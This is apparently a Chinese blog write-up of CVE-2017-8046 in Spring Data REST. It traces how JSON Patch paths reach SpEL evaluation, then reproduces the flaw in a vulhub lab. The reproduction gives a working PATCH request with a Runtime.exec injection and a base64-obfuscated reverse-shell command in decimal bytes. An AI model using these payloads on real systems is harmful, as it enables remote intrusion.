漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

文章目录

  • 一、Spring Data Rest简介
  • 二、漏洞分析
    • 2.1、代码分析
  • 三、漏洞复现


一、Spring Data Rest简介

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

二、漏洞分析

对于JSON Patch请求方法IETF制定了标准RFC 6902。JSON Patch方法提交的数据必须包含一个path成员(path值中必须含有/),用于定位数据,同时还必须包含op成员,可选值如下:
add:添加数据
remove:删除数据
replace:修改数据
move:移动数据
copy:拷贝数据
test:测试给定数据与指定位置数据是否相等

根据RFC 6902,发送JSON文档结构需要注意以下两点:
1、请求头为Content-Type: application/json-patch+json
2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割。

2.1、代码分析

入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()中:
通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);

public <T> T apply(IncomingRequest request, T target) throws Exception {
    Assert.notNull(request, "Request must not be null!");
    Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
    Assert.notNull(target, "Target must not be null!");
    if (request.isJsonPatchRequest()) {
        return applyPatch(request.getBody(), target);
    } else {
        return applyMergePatch(request.getBody(), target);
    }
}

其中isJsonPatchRequest的判断方法是:

public boolean isJsonPatchRequest() {
    // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
    return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}

跟踪进入到applyPatch()方法中:

<T> T applyPatch(InputStream source, T target) throws Exception {
    return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}

进入getPatchOperations()中:

private Patch getPatchOperations(InputStream source) {
    try {
        return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
    } catch (Exception o_O) {
        throw new HttpMessageNotReadableException(
                String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
    }
}

利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。
跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法:

public Patch convert(JsonNode jsonNode) {
        if (!(jsonNode instanceof ArrayNode)) {
            throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
        } else {
            ArrayNode opNodes = (ArrayNode)jsonNode;
            List<PatchOperation> ops = new ArrayList(opNodes.size());
            Iterator elements = opNodes.elements();

            while(elements.hasNext()) {
                JsonNode opNode = (JsonNode)elements.next();
                String opType = opNode.get("op").textValue();
                String path = opNode.get("path").textValue();
                JsonNode valueNode = opNode.get("value");
                Object value = this.valueFromJsonNode(path, valueNode);
                String from = opNode.has("from") ? opNode.get("from").textValue() : null;
                if (opType.equals("test")) {
                    ops.add(new TestOperation(path, value));
                } else if (opType.equals("replace")) {
                    ops.add(new ReplaceOperation(path, value));
                } else if (opType.equals("remove")) {
                    ops.add(new RemoveOperation(path));
                } else if (opType.equals("add")) {
                    ops.add(new AddOperation(path, value));
                } else if (opType.equals("copy")) {
                    ops.add(new CopyOperation(path, from));
                } else {
                    if (!opType.equals("move")) {
                        throw new PatchException("Unrecognized operation type: " + opType);
                    }

                    ops.add(new MoveOperation(path, from));
                }
            }

            return new Patch(ops);
        }
    }

convert()方法返回Patch()对象,其中的ops包含了我们的payload。
进入到org.springframework.data.rest.webmvc.json.patch.Patch中:

public Patch(List<PatchOperation> operations) {
    this.operations = operations;
}

通过上一步地分析,ops是一个List对象,每一个PatchOperation对象中包含了op、path、value三个内容。
进入到PatchOperation分析其赋值情况:

public PatchOperation(String op, String path, Object value) {

    this.op = op;
    this.path = path;
    this.value = value;
    this.spelExpression = pathToExpression(path);
}

进入到pathToExpression()中:

public static Expression pathToExpression(String path) {
    return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}

这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()
进入pathToSpEL()中:

private static String pathToSpEL(String path) {
    return pathNodesToSpEL(path.split("\\/"));          // 使用/分割路径
}

private static String pathNodesToSpEL(String[] pathNodes) {
    StringBuilder spelBuilder = new StringBuilder();
    for (int i = 0; i < pathNodes.length; i++) {
        String pathNode = pathNodes[i];
        if (pathNode.length() == 0) {
            continue;
        }
        if (APPEND_CHARACTERS.contains(pathNode)) {
            if (spelBuilder.length() > 0) {
                spelBuilder.append(".");            // 使用.重新组合路径
            }
            spelBuilder.append("$[true]");
            continue;
        }
        try {
            int index = Integer.parseInt(pathNode);
            spelBuilder.append('[').append(index).append(']');
        } catch (NumberFormatException e) {
            if (spelBuilder.length() > 0) {
                spelBuilder.append('.');
            }
            spelBuilder.append(pathNode);
        }
    }
    String spel = spelBuilder.toString();
    if (spel.length() == 0) {
        spel = "#this";
    }
    return spel;
}

重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中:

<T> T applyPatch(InputStream source, T target) throws Exception {
    return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}

执行getPatchOperations(source)得到的是一个Patch对象的实例,之后执行apply()方法。进入org.springframework.data.rest.webmvc.json.patch.Patch:apply()

public <T> T apply(T in, Class<T> type) throws PatchException {
    for (PatchOperation operation : operations) {
        operation.perform(in, type);
    }
    return in;
}

PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。
进入到ReplaceOperation:perform()中:

<T> void perform(Object target, Class<T> type) {
    setValueOnTarget(target, evaluateValueFromTarget(target, type));
}

protected void setValueOnTarget(Object target, Object value) {
    spelExpression.setValue(target, value);
}

setValueOnTarget()中会调用spelExpression对SpEL表达式进行解析,触发漏洞。


代码分析学习于:https://blog.spoock.com/2018/05/22/cve-2017-8046/


三、漏洞复现

访问IP:port/customers/1
漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第1张图片

抓包,修改请求如下:请求方法为PATCH;Content-Type: application/json-patch+jsonnew byte[]{command}:command为我们要执行的命令的十进制数。

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{command}))/lastname", "value": "vulhub" }]

反弹shell代码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第2张图片

转换为十进制:98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,67,52,121,77,84,69,117,78,84,85,117,77,121,56,50,78,106,89,50,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第3张图片

监听端执行监听
漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第4张图片


参考链接:
https://blog.spoock.com/2018/05/22/cve-2017-8046/
https://vulhub.org/#/environments/spring/CVE-2017-8046/

你可能感兴趣的:(网络安全技术,#,漏洞复现,CVE-2017-8046,远程命令执行)